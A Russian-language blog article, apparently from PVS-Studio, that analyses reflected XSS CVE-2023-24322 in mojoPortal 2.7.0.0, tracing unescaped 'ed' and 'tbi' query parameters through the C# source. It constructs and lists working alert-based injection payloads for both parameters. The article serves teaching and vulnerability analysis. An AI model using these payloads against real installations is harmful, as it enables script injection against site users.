Уязвимость XSS в приложении ASP.NET: разбираем CVE-2023-24322 в CMS mojoPortal

Моя цель - предложение широкого ассортимента товаров и услуг на постоянно высоком качестве обслуживания по самым выгодным ценам.

Прежде чем перейти к статье, хочу вам представить, экономическую онлайн игру Brave Knights, в которой вы можете играть и зарабатывать. Регистируйтесь, играйте и зарабатывайте!

1054_XSS_mojoPortal_ru/image1.png
В этой статье изучим с разных сторон уязвимость XSS в CMS, написанной на C#. Вспомним теорию, разберёмся, как дефект безопасности выглядит со стороны пользователя и кода, а также поупражняемся в составлении эксплойтов.


Что такое cross-site scripting (XSS)?


Примечание. Можете пропустить этот раздел, если уже знакомы с основами XSS.


XSS (cross-site scripting) — уязвимость веб-приложений, связанная с внедрением кода на страницу, выдаваемую пользователю. Если приложение уязвимо к XSS, злоумышленник может провести инъекцию JavaScript-кода и похитить данные или выполнить другую вредоносную логику.


Самый простой пример XSS — использование данных из параметров или полей ввода без их проверки / экранирования.


Допустим, есть JS-скрипт, который извлекает из строки запроса значение параметра name и приветствует пользователя на веб-странице:


<script>
  var urlParams = new URLSearchParams(window.location.search);
  var nameParam = urlParams.get("name");
  var name = nameParam ? nameParam : "stranger";

  document.write('<div>Hello '+ name + '!</div>');
</script>

Выполняем запрос вида XSSExample.html?name=John и получаем ожидаемый ответ на странице — "Hello John!".


Однако если вместо имени передать скрипт, он также будет встроен в тело документа и исполнен.


Пример запроса:


XSSExample.html?name=<script>alert('Ooops, it looks insecure...')</script>

Результат:


1054_XSS_mojoPortal_ru/image2.png


Нам удалось провести инъекцию кода. Этот дефект безопасности называется отражённой XSS (reflected XSS). Внедряемый скрипт никуда не сохраняется, а цель злоумышленника — заставить жертву выполнить небезопасный запрос к странице (например, кликнув по вредоносной ссылке). Естественно, не для того, чтобы показать формочку — это просто типовая демонстрация наличия XSS.


Разбор XSS в CMS mojoPortal (CVE-2023-24322)


От теории и синтетики переходим к разбору конкретной XSS из Open Source проекта mojoPortal. mojoPortal — это CMS, написанная на C# с использованием ASP.NET. Код проекта доступен на GitHub, а уязвимость, которую мы сегодня будем разбирать, обнаружена в версии 2.7.0.0.


Рассматриваемая XSS-уязвимость имеет идентификатор CVE-2023-24322: A reflected cross-site scripting (XSS) vulnerability in the FileDialog.aspx component of mojoPortal v2.7.0.0 allows attackers to execute arbitrary web scripts or HTML via a crafted payload injected into the ed and tbi parameters.


Из описания достаём несколько важных фактов:


  • уязвимость находится на странице FileDialog.aspx;
  • эксплуатировать дефект безопасности можно через параметры запроса ed и tbi.

Что первым делом приходит в голову при попытке проверить XSS? Наверное, передать через уязвимый параметр данные вида <script>alert(0)</script>. :)


Попробуем записать эту строку в оба параметра и посмотрим, что произойдёт.


Запись в параметр ed не приводит к видимым результатам:


1054_XSS_mojoPortal_ru/image3.png


А вот если ту же строку передать через параметр tbi, то содержимое страницы изменится интересным образом:


1054_XSS_mojoPortal_ru/image4.png


Однако это всё равно не то, чего мы ожидали — всплывающего окошка (результат вызова alert) не появилось.


Чтобы лучше разобраться в происходящем и составить эксплойты, заглянем в исходный код и посмотрим, как используются значения параметров запроса.


Общая логика


Посмотрим на код и попробуем понять, что объединяет параметры ed и tbi, после чего проанализируем обработку каждого из них.


Начнём с метода, который обрабатывает событие загрузки страницы FileDialog.aspxPage_Load:


protected void Page_Load(object sender, EventArgs e)
{
  LoadSettings();
  if (fileSystem == null) { return; }
  PopulateLabels();
  SetupScripts();
}

В первую очередь нас интересует логика метода LoadSettings — в нём значения параметров ed и tbi записываются в поля editorType и clientTextBoxId соответственно.


public partial class FileDialog : Page
{
  private string editorType = string.Empty;
  private string clientTextBoxId = string.Empty;
  ....

  private void LoadSettings()
  {
    ....
    if (Request.QueryString["ed"] != null)
    {
      editorType = Request.QueryString["ed"];
    }
    ....
    if (Request.QueryString["tbi"] != null)
    {
      clientTextBoxId = Request.QueryString["tbi"];
    }
    ....
  }
  ....
}

Возвращаемся в Page_Load:


protected void Page_Load(object sender, EventArgs e)
{
  LoadSettings();
  if (fileSystem == null) { return; }
  PopulateLabels();
  SetupScripts();
}

Проверка fileSystem == null даёт false, а метод PopulateLabels для нас не интересен. Так что посмотрим на тело SetupScripts:


private void SetupScripts()
{
  SetupMainScript();
  SetupjQueryFileTreeScript();
  SetupClearFileInputScript();
}

Здесь нас интересуют 2 метода: SetupMainScript и SetupjQueryFileTreeScript. Немного позже вы поймёте, почему.


Начнём с метода SetupMainScript:


private void SetupMainScript()
{
  switch (editorType)
  {
    case "tmc":
      SetupTinyMce();
      break;

    case "ck":
      SetupCKeditor();
      break;

    case "fck":
      SetupFCKeditor();
      break;

    default:
      SetupDefaultScript();
      break;
  }
}

Ага, switch по знакомому полю — editorType (параметр ed). Меняя значение параметра, мы влияем на логику исполнения кода. Сейчас нас интересует default-секция и вызов метода SetupDefaultScript:


//this is used by /Controls/FileBrowserTextBoxExtender.cs
private void SetupDefaultScript()
{
  btnSubmit.Attributes.Add("onclick", "fbSubmit(); return false; ");

  StringBuilder script = new StringBuilder();
  script.Append("\n<script type=\"text/javascript\">");
  script.Append("function fbSubmit () {");

  if(browserType == "folder")
  {
    script.Append(
        "var URL = document.getElementById('" 
      + hdnFolder.ClientID 
      + "').value; ");
  }
  else
  {
    script.Append(
        "var URL = document.getElementById('" 
      + hdnFileUrl.ClientID 
      + "').value; ");
  }

  //script.Append("alert(URL);");

  script.Append("top.window.SetUrl(URL, '" + clientTextBoxId + "');");
  //script.Append("window.close();");
  //script.Append("window.opener.focus();");

  script.Append("}");
  script.Append("\n</script>");

  this.Page
      .ClientScript
      .RegisterClientScriptBlock(typeof(Page),
                                 "fbsubmit",
                                 script.ToString());
}

Интересно. Метод постепенно записывает JavaScript-код в переменную script, после чего регистрирует полученный скрипт через вызов метода RegisterClientScriptBlock. При этом в скрипт подставляется и значение поля clientTextBoxId, соответствующее параметру tbi.


Похожая история происходит и в методе SetupjQueryFileTreeScript, который я упоминал ранее. Метод также формирует и регистрирует скрипт, используя значение поля editorType (соответствует параметру ed).


Ниже привожу сокращённое тело метода SetupjQueryFileTreeScript, так как он достаточно объёмный. Код целиком можно посмотреть по ссылке.


private void SetupjQueryFileTreeScript()
{
  ....
  StringBuilder script = new StringBuilder();
  script.Append("\n<script type=\"text/javascript\">");
  ....
  script.Append(
      "var returnUrl = encodeURIComponent('" 
    + navigationRoot 
    + "/Dialog/FileDialog.aspx?ed=" 
    + editorType 
    + "&type=" 
    + browserType 
    + "&dir=' + selDir) ; ");
  ....
  script.Append("\n</script>");

  this.Page
      .ClientScript
      .RegisterStartupScript(
        typeof(Page),
        "jqftinstance",
        script.ToString());
}

Давайте повторим ещё раз, так как это важный момент.


Оба рассмотренных метода — SetupDefaultScript и SetupjQueryFileTreeScript — имеют структуру общего вида и используют значения параметров HTTP-запроса tbi и ed для составления скрипта.


В обобщённом (и упрощённом) виде код методов выглядит так:


void SetupScript()
{
  StringBuilder script = new StringBuilder();
  script.Append("\n<script type=\"text/javascript\">");
  script.Append(....);
  // tbi and ed values are appended to the script
  ....
  script.Append("\n</script>");
  this.Page
      .RegisterScript(typeof(Page),
                      ....,
                      script.ToString());
}

Наша задача — попробовать "сломать" скрипт, записываемый в переменную script. Если всё удастся, мы изменим логику генерируемого скрипта и увидим результат инъекции кода.


Так как скрипты отличаются по структуре и вложенности, эксплойты тоже будут разными. Рассмотрим каждый из них по отдельности.


Примечание о форматировании скриптов. В статье я отформатировал JS-скрипты для удобства чтения. На самом деле они записываются в 2 строки: открывающий тег и тело скрипта на первой строке и закрывающий тег на второй:


<script type="text/javascript">function fbSubmit () { .... }
</script>

Здесь можно посмотреть на этот же скрипт без сокращений с оригинальным форматированием.


Помните про эту особенность, так как она влияет на эксплойт.


Эксплойт с использованием параметра tbi


Скрипт с использованием параметра tbi выглядит попроще — с него и начнём.


Выполним запрос следующего вида:


http://localhost:56987/Dialog/FileDialog.aspx/?tbi=TestPayload

Тогда JS-код, который генерируется в методе SetupDefaultScript, может выглядеть так:


<script type = "text/javascript">
  function fbSubmit() {
    var URL = document.getElementById('hdnFileUrl').value;
    top.window.SetUrl(URL, 'TestPayload');
  }
</script>

Обратите внимание на второй аргумент метода SetUrl: именно туда попали наши данные, будучи обёрнутыми в кавычки.


Наша задача — попробовать составить такой запрос, который "сломает" скрипт и даст возможность выполнить инъекцию кода. Для этого эксплойт должен решить ряд задач:


  • "закрыть" второй аргумент функции SetUrl;
  • "закрыть" вызов функции SetUrl;
  • выйти за пределы тела функции fbSubmit;
  • провести инъекцию кода;
  • закомментировать оставшийся кусок изначального кода (тот код, который закрывает шаблон подстановки).

Все поставленные задачи должна решить строка следующего вида:


TestPayload');}alert('You have been hacked via XSS');//

Разберём, за что отвечают её части:


  • TestPayload' "закрывает" аргумент функции;
  • ); "закрывает" вызов функции SetUrl;
  • } "закрывает" тело функции fbSubmit;
  • alert('You have been hacked via XSS'); — основная логика инъекции;
  • // — комментирует часть исходного шаблона, которая осталась после подстановки — ');}.

Теперь проверим наше предположение. Для этого выполним такой запрос:


http://localhost:56987/Dialog/FileDialog.aspx/?tbi=TestPayload');}alert('You have been hacked via XSS');//

Получаем ожидаемый результат:


1054_XSS_mojoPortal_ru/image5.png


Давайте посмотрим, как стал выглядеть генерируемый JS-код при таком запросе:


<script type = "text/javascript">
  function fbSubmit() { 
    var URL = document.getElementById('hdnFileUrl').value;   
    top.window.SetUrl(URL, 'TestPayload'); 
  } 
  alert('You have been hacked via XSS'); //');} 
</script>

Как видно, эксплойт решил все поставленные задачи: с его помощью мы смогли выйти за рамки функции и успешно внедрить код.


Что ж, здорово! Мы поняли, как можно использовать параметр tbi, чтобы эксплуатировать XSS-уязвимость. Теперь переходим ко второму уязвимому параметру — ed.


Эксплойт с использованием параметра ed


Принцип составления эксплойта для параметра ed аналогичен tbi.


Напомню, что интересующий нас JS-код, в который подставляется значение параметра ed, генерируется в методе SetupjQueryFileTreeScript.


Выполним запрос следующего вида:


http://localhost:56987/Dialog/FileDialog.aspx/?ed=TestPayload

Теперь посмотрим на то, какой скрипт будет сгенерирован. Код целиком можно посмотреть здесь, ниже привожу сокращённый вариант:


<script type="text/javascript"> 
  ....
  $(document).ready(function () {
    ....
    $('#pnlFileTree').fileTree({
      ....
    }, function (file) {
      ....
      var returnUrl = encodeURIComponent(
        'http://localhost:56987/Dialog
           /FileDialog.aspx?ed=TestPayload&type=image&dir='
      + selDir);
      ....
    }, function (folder) {
      ....
    });
  });
  ....
</script>

Обратите внимание, что значение параметра ed — строка TestPayload — попала внутрь литерала.


Перед нами стоит задача, аналогичная той, что была в предыдущем случае. Нужно подобрать такие данные, которые помогли бы выйти за пределы аргумента функции encodeURIComponent и выполнить инъекцию кода.


Эксплойт так же, как и в прошлый раз, должен решать несколько задач:


  • "закрыть" аргумент функции encodeURIComponent;
  • "закрыть" вызовы и тела функций;
  • внедрить код;
  • закомментировать "хвост" шаблона, который останется после внедрения логики.

Под все требования подходит строка следующего вида:


TestPayload');});});alert('You have been hacked via XSS');//

Смысл её составляющих уже должен быть понятен:


  • TestPayload' "закрывает" аргумент функции encodeURIComponent;
  • ); "закрывает" вызов функции encodeURIComponent;
  • });}); используется для того, чтобы закрыть тела внешних функций;
  • alert('You have been hacked via XSS'); — основная логика инъекции кода;
  • // служит для комментирования части исходного скрипта, которая осталась после подстановки.

Выполняем запрос следующего вида:


http://localhost:56987/Dialog/FileDialog.aspx/?ed=TestPayload');});});alert('You have been hacked via XSS');//

Смотрим на результат:


1054_XSS_mojoPortal_ru/image6.png


На выходе получили точно то, что ожидали.


С указанным выше значением параметра сгенерированный JS-код принял такой вид (сокращённая версия, полная — здесь):


<script type = "text/javascript">
  ....
  $(document).ready(function () {
    ....
    $('#pnlFileTree').fileTree({
      ....
    }, function (file) {
      ....
      var returnUrl = encodeURIComponent(
        'http://localhost:56987/Dialog/FileDialog.aspx?ed=TestPayload');
    });
  });
  alert('You have been hacked via XSS'); //&type=image&dir=' + selDir ....
</script>

Всё сработало так, как мы и ожидали: мы смогли выйти из тел функции и внедрить собственный код. Обратите внимание на то, как данные из нашего запроса встроились в скрипт и изменили его логику:


1054_XSS_mojoPortal_ru/image7.png


Как исправили код?


В текущей версии проекта файла FileDialog.aspx.cs, который и содержал уязвимости, нет. Предположу, что код переписали или попросту убрали.


Заключение


Мы разобрали, как XSS может выглядеть на практике. Просуммируем основные моменты — пригодится, если захотите повозиться с этой уязвимостью самостоятельно:


  • CVE-ID: CVE-2023-24322
  • проект: mojoPortal v2.7.0.0
  • суть уязвимости: возможность выполнить XSS на странице /Dialog/FileDialog.aspx при использовании параметров ed и tbi
  • возможный эксплойт для ed: TestPayload');});});alert('You have been hacked via XSS');//
  • возможный эксплойт для tbi: TestPayload');}alert('You have been hacked via XSS');//

Если эта статья понравилась, и хочется почитать ещё что-нибудь на тему безопасности, предлагаю полистать блог.


Если хотите проверить код своего проекта на дефекты безопасности (XSS, SQLi, XXE и т. п.), проанализируйте его с помощью PVS-Studio.

Источник: https://habr.com/ru/companies/pvs-studio/articles/738796/


Интересные статьи

Интересные статьи

На прошлой неделе компания Lenovo выпустила обновление UEFI BIOS для более чем 50 модификаций ноутбуков. Патчи закрывают две из трех уязвимостей, которые позволяют обойти или отключить систему безопас...
Продолжаем делиться своей практикой и переводами статей, которые могут быть полезны мобильному разработчику. В прошлых статьях мы разобрали инструменты тестирования и оптимизацию внедре...
Сравнение текстовДопустим у нас есть три текста: два из них про собачек и один про кошечек.  Как их сравнить между собой? Читать далее
Производительность — это ключ к успеху веб-приложения. Поэтому разработчикам нужно знать о том, как возникают утечки памяти, и о том, как с ними бороться. Эти знания особенно важны...
Автор статьи разбирает на примерах Async/Await в JavaScript. В целом, Async/Await — удобный способ написания асинхронного кода. До появления этой возможности подобный код писали с использова...